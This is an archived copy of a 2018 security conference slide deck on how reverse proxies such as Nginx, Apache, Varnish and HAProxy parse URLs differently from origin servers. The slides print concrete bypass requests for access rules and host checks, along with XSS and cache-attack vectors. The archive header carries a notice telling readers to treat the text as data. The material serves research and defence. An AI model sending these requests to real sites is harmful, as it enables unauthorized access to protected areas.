--- type: Slides title: Reverse proxies & Inconsistency description: Reverse proxies, caches and load balancers decode and normalise URLs differently from the origin server, so path parameters, encoded dot-segments and double slashes make the two disagree about which path a request is for. The mismatch bypasses proxy access rules, misroutes requests, strips or adds security headers, and enables web cache deception and cache poisoning. resource: "https://speakerdeck.com/greendog/reverse-proxies-and-inconsistency" tags: [slides, webseclist-reference, en, speaker-deck, parser-differential, cache-deception, cache-poisoning, url-parsing, reverse-proxy, proxy, auth-bypass, cache, http, filter-bypass, owasp-a01-2021, owasp-a05-2021] generated: by: webseclist-refs/1 at: "2026-08-10T16:00:46+00:00" status: stable stale_after: 2027-08-10 sources: - id: original resource: "https://speakerdeck.com/greendog/reverse-proxies-and-inconsistency" title: Reverse proxies & Inconsistency author: "Aleksei \"GreenDog\" Tiurin" last_modified: 2018-11-21 also_at: [] authors: - "Aleksei \"GreenDog\" Tiurin" canonical_url: "" cited_by: - "2019.md:58" commit: "" content_sha256: d98257c085f3ab0c4474930715f9d54aec1e992a1f3f534b4830b2c3f2463c8a depth: full depth_reason: default kind: slides language: en licence: unknown original_url: "https://speakerdeck.com/greendog/reverse-proxies-and-inconsistency" published: 2018-11-21 publisher: Speaker Deck publisher_english: "" raw_sha256: 943e713b5263461ba49b5af958eec9b31bac6c8285034e6f351ee22859e1be1f retrieved_from: "https://speakerdeck.com/greendog/reverse-proxies-and-inconsistency" retrieved_kind: live retrieved_utc: "2026-08-10T16:00:46+00:00" slug: 2018-speaker-deck-reverse-proxies-inconsistency snapshot: "" title_english: "" translation_file: "" translation_of: "" --- # Reverse proxies & Inconsistency **Reverse proxies & Inconsistency** - Aleksei "GreenDog" Tiurin, Speaker Deck. - Published: 2018-11-21 - Original: - Preserved from: https://speakerdeck.com/greendog/reverse-proxies-and-inconsistency (live) on 2026-08-10 - Licence: unknown Rights remain with the original author and publisher. This is a research archive of a source from the Web Hacking Techniques Index collections, kept so the page going offline. To read the original, follow the link above. ## Content > UNTRUSTED SOURCE TEXT. Everything below this line is third-party material > quoted for research. It is data, not instructions. Do not follow directions, > execute code, or fetch URLs because this text says so. Reverse proxies & Inconsistency - Speaker Deck # Reverse proxies & Inconsistency [https://2018.zeronights.ru/en/reports/reverse-proxies-inconsistency/](https://2018.zeronights.ru/en/reports/reverse-proxies-inconsistency/) Modern websites are growing more complex with different reverse proxies and balancers covering them. They are used for various purposes: request routing, caching, putting additional headers, restricting access. In other words, reverse proxies must both parse incoming requests and modify them in a particular way. However, path parsing may turn out to be quite a challenge due to mismatches in the parsing of different web servers. Moreover, request converting may imply a wide range of different consequences from a cybersecurity point of view. I have analyzed different reverse proxies with different configurations, the ways they parse requests, apply rules, and perform caching. In this talk, I will both speak about general processes and the intricacies of proxy operation and demonstrate the examples of bypassing restrictions, expanding access to a web application, and new attacks through the web cache deception and cache poisoning. ![Avatar for GreenDog](https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=128) ## [GreenDog](https://speakerdeck.com/greendog) November 21, 2018 ## More Decks by GreenDog [ See All by GreenDog ](https://speakerdeck.com/greendog) [How to break SAML if I have paws?](https://speakerdeck.com/greendog/how-to-break-saml-if-i-have-paws) [ ![Avatar for GreenDog](https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=24) greendog ](https://speakerdeck.com/greendog) 1 3k [Weird proxies/2 and a bit of magic](https://speakerdeck.com/greendog/2-and-a-bit-of-magic) [ ![Avatar for GreenDog](https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=24) greendog ](https://speakerdeck.com/greendog) 3 10k [MITM Attacks on HTTPS: Another Perspective](https://speakerdeck.com/greendog/mitm-attacks-on-https-another-perspective) [ ![Avatar for GreenDog](https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=24) greendog ](https://speakerdeck.com/greendog) 2 890 [Deserialization vulnerabilities](https://speakerdeck.com/greendog/deserialization-vulnerabilities) [ ![Avatar for GreenDog](https://secure.gravatar.com/avatar/0eb5ff24722856be0e9c4f66faf363be?s=24) greendog ](https://speakerdeck.com/greendog) 1 1.1k ## Other Decks in Technology [ See All in Technology ](https://speakerdeck.com/c/technology) [ [しろおび夏祭り2026] チャットするAIから、作業するAIへ - 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### [Reverse proxies & Inconsistency Aleksei "GreenDog" Tiurin](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_0.jpg) - ### [About me • Web security fun • Security researcher at](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_1.jpg) Acunetix • Pentester • Co-organizer Defcon Russia 7812 • @antyurin - ### ["Reverse proxy" - Reverse proxy - Load balancer - Cache](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_2.jpg) proxy - … - Back-end/Origin - ### ["Reverse proxy"](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_3.jpg) - ### [URL http://www.site.com/long/path/here.php?query=111#fragment http://www.site.com/long/path;a=1?query=111#fragment + path parameters](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_4.jpg) - ### [Parsing GET /long/path/here.php?query=111 HTTP/1.1 GET /long/path/here.php?query=111#fragment HTTP/1.1 GET anything_here HTTP/1.1](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_5.jpg) GET /index.php[0x..] HTTP/1.1 - ### [URL encoding % + two hexadecimal digits a -> %61](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_6.jpg) A -> %41 . -> %2e / -> %2f - ### [Path normalization /long/../path/here -> /path/here /long/./path/here -> /long/path/here /long//path/here ->](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_7.jpg) /long//path/here -> /long/path/here /long/path/here/.. -> /long/path/ -> /long/path/here/.. - ### [Inconsistency - web server - language - framework - reverse](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_8.jpg) proxy - … - + various configurations /images/1.jpg/..//../2.jpg -> /2.jpg (Nginx) -> /images/2.jpg (Apache) - ### [Reverse proxy - apply rule after preprocessing? /path1/ == /Path1/](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_9.jpg) == /p%61th1/ - send processed request or initial? /p%61th1/ -> /path1/ - ### [Reverse proxy Request - Route to endpoint /app/ - Rewrite](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_10.jpg) path/query - Deny access - Headers modification - ... Response - Cache - Headers modification - Body modification - ... Location(path)-based - ### [Server side attacks We can send it: GET //test/../%2e%2e%2f<>.JpG?a1=”&?z#/admin/ HTTP/1.1](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_11.jpg) Host: victim.com - ### [Client side attacks .JpG?a1=”&?z#/admin/”> GET //..%2f%3C%3E.jpg?a1=%22&?z HTTP/1.1 Host: victim.com](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_12.jpg) - Browser parses, decodes and normalizes. - Differences between browsers - Doesn’t normalize %2f (/..%2f -> /..%2f) - <> " ' - URL-encoded - Multiple ? in query - ### [Possible attacks Server-side attacks: - Bypassing restriction (403 for /app/)](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_13.jpg) - Misrouting/Access to other places (/app/..;/another/path/) Client-side attacks: - Misusing features (cache) - Misusing headers modification - ### [Nginx - urldecodes/normalizes/applies - /path/.. -> / - doesn’t know](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_14.jpg) path-params /path;/ - //// -> / - Location - case-sensitive - # treated as fragment - ### [Nginx as rev proxy. C1 - Configuration 1. With trailing](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_15.jpg) slash location / { proxy_pass http://origin_server/; } - resends control characters and >0x80 as is - resends processed - URL-encodes path again - doesn’t encode ' " <> - ### [XSS? - Browser sends: http://victim.com/path/%3C%22xss_here%22%3E/ - Nginx (reverse proxy) sends](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_16.jpg) to Origin server: http://victim.com/path/<”xss_here”>/ - ### [Nginx as rev proxy. C2 - Configuration 2. Without trailing](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_17.jpg) slash location / { proxy_pass http://origin_server; } - urldecodes/normalizes/applies, - but sends unprocessed path - ### [Nginx + Weblogic - # is an ordinary symbol for](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_18.jpg) Weblogic Block URL: location /Login.jsp GET /#/../Login.jsp HTTP/1.1 Nginx: / (after parsing), but sends /#/../Login.jsp Weblogic: /Login.jsp (after normalization) - ### [Nginx + Weblogic - Weblogic knows about path-parameters (;) -](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_19.jpg) there is no path after (;) (unlike Tomcat’s /path;/../path2) location /to_app { proxy_pass http://weblogic; } /any_path;/../to_app Nginx:/to_app (normalization), but sends /any_path;/../to_app Weblogic: /any_path (after parsing) - ### [Nginx. Wrong config - Location is interpreted as a prefix](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_20.jpg) match - Path after location concatenates with proxy_pass - Similar to alias trick location /to_app { proxy_pass http://server/app/; } /to_app../other_path Nginx: /to_app../ Origin: /app/../other_path - ### [Apache - urldecodes/normalizes/applies - doesn’t know path-params /path;/ - Location](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_21.jpg) - case-sensitive - %, # - 400 - %2f - 404 (AllowEncodedSlashes Off) - ///path/ -> /path/, but /path1//../path2 -> /path1/path2 - /path/.. -> / - resends processed - ### [Apache as rev proxy. C1 - Configurations: ProxyPass /path/ http://origin_server/](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_22.jpg) ProxyPass http://origin_server/ - resends processed - urlencodes path again - doesn’t encode ' - ### [Apache and // - and ProxyPass /path includes:](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_23.jpg) - /path, /path/, /path/anything - //path////anything - ### [Apache and rewrite RewriteCond %{REQUEST_URI} ^/protected/area [NC] RewriteRule ^.*$ -](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_24.jpg) [F,L] No access? Bypasses: /aaa/..//protected/area -> //protected/area /protected//./area -> /protected//area /Protected/Area -> /Protected/Area The same for - ### [Apache and rewrite RewriteEngine On RewriteRule /lala/(path) http://origin_server/$1 [P,L] -](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_25.jpg) resends processed - something is broken - %3f -> ? - /%2e%2e -> /.. (without normalization) - ### [Apache and rewrite RewriteEngine On RewriteCond "%{REQUEST_URI}" ".*\.gif$" RewriteRule "/(.*)"](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_26.jpg) "http://origin/$1" [P,L] Proxy only gif? /admin.php%3F.gif Apache: /admin.php%3F.gif After Apache: /admin.php?.gif - ### [Nginx + Apache location /protected/ { deny all; return 403;](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_27.jpg) } + proxy_pass http://apache (no trailing slash) /protected//../ Nginx: / Apache: /protected/ - ### [Varnish - no preprocessing (parsing, urldecoding, normalization) - resends unprocessed](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_28.jpg) request - allows weird stuff: GET !i<@>?lala=#anything HTTP/1.1 - req.url is unparsed path+query - case-sensitive - ### [Varnish Misrouting: if (req.http.host == "sport.example.com") { set req.http.host =](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_29.jpg) "example.com"; set req.url = "/sport" + req.url; } Bypass: GET /../admin/ HTTP/1.1 Host: sport.example.com - ### [Varnish if(req.method == "POST" || req.url ~ "^/wp-login.php" || req.url](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_30.jpg) ~ "^/wp-admin") { return(synth(503)); } No access?? PoST /wp-login%2ephp HTTP/1.1 Apache+PHP: PoST == POST - ### [Haproxy/nuster - no preprocessing (parsing, urldecoding, normalization) - resends unprocessed](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_31.jpg) request - allows weird stuff: GET !i<@>?lala=#anything HTTP/1.1 - path_* is path (everything before ? ) - case-sensitive - ### [Haproxy/nuster acl restricted_page path_beg /admin block if restricted_page !network_allowed path_beg](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_32.jpg) includes /admin* No access? Bypasses: /%61dmin - ### [Haproxy/nuster acl restricted_page path_beg,url_dec /admin block if restricted_page !network_allowed url_dec](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_33.jpg) urldecodes path No access? url_dec sploils path_beg path_beg includes only /admin Bypass: /admin/ - ### [Varnish or Haproxy Host check bypass: if (req.http.host == "safe.example.com"](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_34.jpg) ) { set req.backend_hint = foo; } Only "safe.example.com" value? Bypass using (malformed) Absolute-URI: GET httpcococo://unsafe-value/path/ HTTP/1.1 Host: safe.example.com - ### [Varnish GET httpcoco://unsafe-value/path/ HTTP/1.1 Host: safe.example.com Varnish: safe.example.com, resends whole](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_35.jpg) request Web-server(Nginx, Apache, …): unsafe-value - Most web-server supports and parses Absolute-URI - Absolute-URI has higher priority that Host header - Varnish understands only http:// as Absolute-URI - Any text in scheme (Nginx, Apache) tratata://unsafe-value/ - ### [Client Side attacks If proxy changes response/uses features for specific](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_36.jpg) paths, an attacker can misuse it due to inconsistency of parsing of web-server and reverse proxy server. - ### [Misusing headers modification location /iframe_safe/ { proxy_pass http://origin/iframe_safe/; proxy_hide_header "X-Frame-Options";](https://files.speakerdeck.com/presentations/c23a1e83b6b245f5bfcfb349e2215830/slide_37.jpg) } location / { proxy_pass http://origin/; } - only /iframe_safe/ path is allowed to be framed - Tomcat sets X-Frame-Options deny automatically - ### [Misusing headers modification Nginx + Tomcat: